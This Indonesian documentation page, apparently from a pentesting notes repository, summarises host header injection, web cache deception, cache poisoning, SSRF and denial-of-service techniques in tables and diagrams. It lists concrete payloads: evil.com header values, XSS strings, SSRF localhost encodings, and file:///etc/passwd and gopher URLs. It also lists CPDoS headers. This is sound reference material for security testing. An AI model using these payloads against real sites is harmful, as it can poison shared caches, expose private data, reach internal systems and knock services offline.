2.6
Manipulasi Request dan Cache
Lima catatan di root repository ini menyerang satu lapisan yang sama: metadata request. Penyerang mengubah header, path, atau parameter berisi URL, lalu membiarkan cache di antara klien dan origin memperbesar dampaknya. Perbedaannya terletak pada bagian request yang disentuh dan siapa yang akhirnya menerima response hasil manipulasi.
Tiga titik kontrol dalam satu request
Titik pertama adalah header. Nilai seperti Host dan X-Forwarded-Host jarang ikut masuk cache key, sehingga perubahannya tidak memisahkan entri cache. Titik kedua adalah path. Tambahan ekstensi membuat cache menganggap halaman dinamis sebagai aset statis. Titik ketiga adalah parameter berisi URL, yang menentukan alamat tujuan request keluar dari server.
| Titik kontrol | Yang diubah | Berkas catatan | Akibat yang dituju |
|---|---|---|---|
Header Host dan header override | nilai host | Host Header Injection.md | tautan di email mengarah ke domain penyerang |
| Path | tambahan .js atau ;.js | Web Cache Deception.md | konten privat tersimpan di cache publik |
| Header unkeyed | X-Forwarded-Host, X-Host, X-Forwarded-Server | Web Cache Poisoning.md | response beracun disajikan ke pengguna lain |
| Parameter berisi URL | url, urlApi | Server Side Request Forgery.md | server menghubungi alamat internal |
| Header dan ukuran body | header besar, nilai panjang | Denial Of Service.md | layanan berhenti melayani |
Host header injection
Catatan ini terdaftar di katalog repository (README.md:161). Sasaran pencariannya adalah fitur yang mengirim email ke pengguna, misalnya forgot password atau newsletter, karena nilai Host ikut tercetak pada tautan di dalam email. Server yang mempercayai Host tanpa validasi akan memakai nilai itu untuk membangun tautan dan redirect.
| Variasi | Bentuk request yang dicoba |
|---|---|
Ganti nilai Host | GET /index.php dengan Host bernilai evil-website.com |
| Duplikasi header | dua baris Host, yaitu vulnerable-website.com lalu evil-website.com |
| Line wrapping | baris Host kedua diawali satu spasi sebelum evil-website.com |
| Header override | X-Forwarded-For, X-Forwarded-Host, X-Client-IP, X-Remote-IP, X-Remote-Addr, dan X-Host diisi evil-website.com |
| URL absolut | request line memakai https://vulnerable-website.com/ sementara Host diisi evil-website.com |
Contoh pemakaian pada catatan asal menyisipkan X-Forwarded-For berisi evil-website.com di samping Host yang sah.
⚠️ Daftar header override di atas dipakai ulang oleh
Web Cache Poisoning. Satu header yang sama bisa menjadi bahan uji host injection sekaligus vektor racuncache, jadi hasilHITperlu diperiksa terhadap perubahan isiresponse.
Efek lanjutan pada alur reset password dibahas di Catatan Kontrol Akses dan Autentikasi.
Web cache deception
Entri katalognya tercatat di README.md:282. Baseline GET /profile/setting sudah mengembalikan Cf-Cache-Status: HIT, jadi uji berfokus pada perubahan path, bukan pada header.
sequenceDiagram
autonumber
participant P as Penyerang
participant C as Caching proxy
participant O as Origin
P->>C: GET /profile/setting
C->>O: teruskan request (Host: www.vuln.com)
O-->>C: HTTP/2 200 OK, Content-Type: text/html
C-->>P: Cf-Cache-Status: MISS
P->>C: GET /profile/setting/.js
Note over C: path berakhiran .js dianggap aset statis
C->>O: teruskan request (Host: www.vuln.com)
O-->>C: HTTP/2 200 OK, konten privat profil
Note over C: konten privat korban masuk cache
C-->>P: Cf-Cache-Status: HIT
P->>C: ulangi GET /profile/setting/.js dari incognito
C-->>P: konten privat korban dari cache
%% fig: Perjalanan request cache deception
%% desc: Path yang ditambah ekstensi statis membuat proxy menyimpan konten privat profil, lalu menyerahkannya lagi dengan status HIT.| Variasi path | Nilai Cf-Cache-Status yang dicari | Verifikasi |
|---|---|---|
/profile/setting | HIT | pembanding baseline |
/profile/setting/.js | HIT, bukan MISS atau Error | buka URL di incognito |
/profile/setting/;.js | HIT, bukan MISS atau Error | buka URL di incognito |
Kalau response tetap HTTP/2 200 OK dengan Content-Type: text/html meski path berakhiran .js, cache menyimpan halaman dinamis dan menganggapnya berkas statis. Titik koma sebelum ekstensi dipakai untuk melewati aturan cache yang menyaring pola /.js.
Web cache poisoning
Entri katalognya tercatat di README.md:293. Tujuannya mengirim request yang memicu response berbahaya, lalu response itu tersimpan di cache dan disajikan ke pengguna lain.
graph LR
U["Unkeyed input: X-Forwarded-Host, X-Host, X-Forwarded-Server"] --> O["Origin server"]
O --> R["Nilai header terpantul ke body atau Location"]
R --> K["Cache menyimpan response"]
K --> V["Pengguna lain menerima response beracun"]
style U fill:#f59e0b,color:#000
style O fill:#336791,color:#fff
style R fill:#dc2626,color:#fff
style K fill:#8b5cf6,color:#fff
style V fill:#dc2626,color:#fff
%% fig: Rantai web cache poisoning
%% desc: Header yang tidak masuk cache key dipantulkan origin, disimpan cache, lalu ikut disajikan ke pengguna lain.| Teknik | Header yang diubah | Bukti pada response |
|---|---|---|
| Basic poisoning | X-Forwarded-Host berisi evil.com | Cache-Control: public, no-cache dan <img href="https://evil.com/a.png" /> |
| Basic poisoning dengan payload XSS | X-Forwarded-Host berisi a."><script>alert(1)</script> | nilai terpantul di dalam atribut img |
| Seizing the cache | X-Host berisi evil.com pada Host bernilai unity3d.com | Via: 1.1 varnish-v4, Age: 174, Cache-Control: public, max-age=1800, <script src="https://evil.com/x.js"> |
| Selective poisoning | X-Forwarded-Host berisi a"><iframe onload=alert(1)> dengan User-Agent Firefox | Vary: User-Agent, Accept-Encoding dan X-Served-By: cache-lhr6335-LHR |
| Chaining unkeyed inputs | X-Forwarded-Host berisi xyz, lalu X-Forwarded-Scheme berisi nothttps, lalu keduanya | Set-Cookie: locale=en; domain=xyz, 301 ke https://redacted.net, lalu 301 ke https://attacker.com/en |
| Route poisoning | X-Forwarded-Server berisi evil, lalu X-Forwarded-Host berisi portswigger-labs-4223616.hs-sites.com | 404 dengan CF-Cache-Status: MISS dan teks The domain canary does not exist in our system., lalu 200 dengan <script>alert(document.domain)</script> |
| Hidden route poisoning | X-Forwarded-Host berisi evil, lalu noshandnibble.ghost.io | 302 ke https://ghost.org/fail/, lalu 302 ke http://noshandnibble.blog/ |
⚠️ Angka
Age: 174danmax-age=1800menunjukkanresponseracun bertahan lama, sedangkanVary: User-Agent, Accept-Encodingdi selective poisoning membatasi korban pada profil klien tertentu. Racun dicachebersama tetap mengenai pengguna yang cocok dengan profil itu.
Payload XSS yang dipantulkan lewat header ini dibahas sebagai serangan sisi klien di Catatan Serangan Sisi Klien.
Server side request forgery
Entri katalognya tercatat di README.md:264. Titik masuknya adalah parameter yang nilainya berupa URL, misalnya urlApi pada POST /api/check/products dengan body urlApi=http://192.168.1.1%2fapi%2f&id=1, dan url pada GET /image?url=http://192.168.1.1/.
graph LR
P["Parameter url atau urlApi pada request"] --> S["Server aplikasi menjalankan fetch"]
S --> I["http://192.168.1.1/ di jaringan internal"]
S --> L["http://127.0.0.1 lokal"]
S --> F["file:///etc/passwd"]
S --> G["gopher://evil.com/_Test%0ASSRF"]
style P fill:#f59e0b,color:#000
style S fill:#336791,color:#fff
style I fill:#dc2626,color:#fff
style L fill:#dc2626,color:#fff
style F fill:#8b5cf6,color:#fff
style G fill:#8b5cf6,color:#fff
%% fig: Batas kepercayaan SSRF
%% desc: Nilai parameter URL menentukan alamat yang dihubungi server, mulai dari jaringan internal sampai skema selain HTTP.Encoding dipakai untuk melewati filter yang hanya memeriksa bentuk 127.0.0.1.
| Teknik | Bentuk payload |
|---|---|
| Dasar | 127.0.0.1 dan localhost dengan port 1337 |
| Hex | 0x7f.0x0.0x0.0x1 |
| Octal | 0177.0.0.01 |
| Dword | 2130706433 |
| Campuran | 0177.0.0.0x1 |
| URL encoding | %6c%6f%63%61%6c%68%6f%73%74 |
| IPv6 | 0000::1 dan [::] dengan port 1337 |
| Bubble text | ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ |
| Skema | Contoh |
|---|---|
file | file:///etc/passwd |
dict | dict://127.0.0.1 dengan port 1337 |
ftp | ftp://127.0.0.1/ |
tftp | tftp://evil.com/test dengan port 1337 |
sftp | sftp://evil.com/test dengan port 1337 |
ldap | ldap://127.0.0.1 dengan port 1337 |
gopher | gopher://evil.com/_Test%0ASSRF |
Trik melewati filter SSRF yang lebih ketat dibahas di Teknik Bypass Proteksi.
Denial of service
Entri katalognya tercatat di README.md:145. Catatan asal menegaskan bahwa gangguan bisa muncul di semua fitur, bergantung pada cara eksploitasinya.
| Butir | Yang dilakukan | Penanda berhasil |
|---|---|---|
| Cookie bomb | nilai panjang pada parameter, misalnya param1 | cookie dengan nilai panjang yang sama muncul |
| Payload panjang | POST /register dengan username dan password sangat panjang | request diproses tanpa batas panjang |
| Pixel flood | unggah JPG beresolusi sangat besar | proses decode gambar membebani server |
| Frame flood | unggah GIF dengan jumlah frame sangat besar | decoder GIF kehabisan sumber daya |
| Parameter ukuran | width dan height diubah dari 500 menjadi 99999999999 | server mengalokasikan memori untuk ukuran itu |
| Header berulang | Accept-Encoding berisi gzip, gzip, deflate, br, br | nilai ganda diproses berulang |
| Tanpa rate limit | kirim banyak request terus-menerus | layanan melambat lalu turun |
| ReDoS | input yang memicu backtracking pada RegEx | response menggantung |
| CPDoS | header yang membuat origin membalas error | error itu tersimpan di cache |
Unggahan berkas berukuran sangat besar menyentuh fitur upload; urusan fitur unggah dibahas di Catatan Manipulasi Berkas.
CPDoS: cache menyimpan error
Varian CPDoS memakai satu header yang membuat origin menolak request, sementara cache tetap menerima dan menyimpan hasilnya.
graph TD
HHO["HHO: X-Oversized-Header-1"] --> O["Origin server"]
HMC["HMC: X-Meta-Malicious-Header"] --> O
HMO["HMO: X-HTTP-Method-Override"] --> O
FP["X-Forwarded-Port"] --> O
FH["X-Forwarded-Host dengan port"] --> O
O --> E400["400 Header size exceeded"]
O --> E404["404 POST on /index.php not found"]
O --> EC["response error pada host yang disasar"]
E400 --> C["Cache menyimpan response error"]
E404 --> C
EC --> C
C --> U["Semua pengguna menerima error"]
style HHO fill:#f59e0b,color:#000
style HMC fill:#f59e0b,color:#000
style HMO fill:#f59e0b,color:#000
style FP fill:#f59e0b,color:#000
style FH fill:#f59e0b,color:#000
style O fill:#336791,color:#fff
style E400 fill:#dc2626,color:#fff
style E404 fill:#dc2626,color:#fff
style EC fill:#dc2626,color:#fff
style C fill:#8b5cf6,color:#fff
style U fill:#dc2626,color:#fff
%% fig: Rantai CPDoS dari header ke cache
%% desc: Header yang membuat origin membalas 400 atau 404 ikut tersimpan cache, sehingga pengguna lain menerima error yang sama.| Varian | Header | response origin |
|---|---|---|
| HTTP Header Oversize | X-Oversized-Header-1 berukuran besar | 400 Bad Request dengan Header size exceeded |
| HTTP Meta Character | X-Meta-Malicious-Header berisi \r\n | 400 Bad Request dengan Character not allowed |
| HTTP Method Override | X-HTTP-Method-Override berisi POST | 404 Not Found dengan POST on /index.php not found |
| X-Forwarded-Port | nilai port 123 | response error tersimpan di cache |
| X-Forwarded-Host | host ditambah port 123 | response error tersimpan di cache |
Header method override yang tercatat ada tiga: X-HTTP-Method-Override, X-HTTP-Method, dan X-Method-Override.
⚠️ Contoh CPDoS pada catatan asal menyertakan
?dontpoisoneveryone=1pada URL.cachedipakai bersama, jadiresponseerror yang tersimpan bisa mengenai pengguna lain, bukan hanya sesi pengujian. Karakter kontrol pada HMC juga bersinggungan dengan penyisipanCRLFyang dibahas di Catatan Kerentanan Injeksi.
Kaitan ke halaman lain
- Perilaku
cachedan header bawaan tiap server dibahas di Catatan per Teknologi. - Aturan bypass
403dan429yang relevan saat menguji butir tanpa rate limit ada di Teknik Bypass Proteksi.